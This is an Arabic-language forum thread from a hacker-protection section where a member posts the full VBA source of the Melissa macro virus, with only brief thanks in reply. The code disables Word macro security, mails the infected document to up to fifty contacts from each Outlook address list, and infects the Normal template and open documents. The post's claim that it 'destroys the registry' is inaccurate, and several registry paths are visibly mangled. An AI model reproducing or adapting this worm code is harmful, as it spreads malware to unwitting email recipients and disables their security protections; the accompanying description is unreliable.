mistercobra
تفضل بالتسجيل في منتدانا سنكون سعداء جداً لتصبح فرد من اسرتنا لا تقرأ وترحل عبر عن نفسك وأثبت وجودك من خلال رأيك .
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
بلغنا عن رابط لا يعمل او مشكلة فى التسجيل من خلال قسم طلبات الزوار فى المنتدى الادارى اسفل المنتدى تستطيع فى هذا القسم انشاء موضوع تعرض فيه مشكلتك من غير ان تكون مسجل فى المنتدى .


أهـــلا بـعـودتـك لـنـا مـن جــديــد زائر نــرجــوا ان تـكـون فـى كــامـل الــصـحـة والــعـافـيـة
 
الرئيسيةالرئيسيةمكتبة الصوربحـثالتسجيلدخول

شاطر | 
 

 فايروس """melissa

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
عمرو المصرى
القسم السياسى
القسم السياسى
avatar

ذكر
عدد الرسائل : 4478
الموقع : مستر كوبرا
علم دولتى :
المزاج :
المهنة :
الهواية :
تاريخ التسجيل : 26/08/2008
عدد النـقـاط : 614
قوة الـتـقـيـم : 26

مُساهمةموضوع: فايروس """melissa   الجمعة نوفمبر 14, 2008 7:05 pm

هذا الفايروس الذى يقوم بتدمير الريجسترى


Private Sub AutoOpen() On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub




عرف زمانك من تكون





ازرع خير وساعد كل من حولك فهذه هى السعادة الحقيقية

تعلو كلمة الحق مهما دامت كلمت الباطل

ما طار طيرا وارتفع الا كما طار وقع


الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://mistercobra.banouta.net
نسيم الروح
قسم المرأة
قسم المرأة
avatar

انثى
عدد الرسائل : 1189
الموقع : مستر كوبرا
علم دولتى :
المهنة :
الهواية :
تاريخ التسجيل : 16/11/2008
عدد النـقـاط : 15
قوة الـتـقـيـم : 2

مُساهمةموضوع: رد: فايروس """melissa   الأربعاء يناير 07, 2009 3:20 am




الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://mistercobra.banouta.net
ابو زعبل
*
*


ذكر
العمر : 25
عدد الرسائل : 5
علم دولتى :
المزاج :
المهنة :
تاريخ التسجيل : 27/03/2012
عدد النـقـاط : 5
قوة الـتـقـيـم : 0

مُساهمةموضوع: رد: فايروس """melissa   الثلاثاء مارس 27, 2012 10:14 pm

مشكووووووووووووووووووووررررررررررررر اخى
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
فايروس """melissa
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» "الطوارئ" و"انتخابات الشورى" على صفيح ساخن
» "لين القلب" و "لين المعاملة"
» كيف كان وجه سيدنا يوسف "ع"
» ="0"> أشيــَــاء تـُشبه الشـٌـمـْــس //
» مقتطفات نحوية"1"

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
mistercobra :: 
مستر كوبرا البرامج وتصميم المواقع والمنتديات
 :: قسم الحماية من الهكر
-
انتقل الى: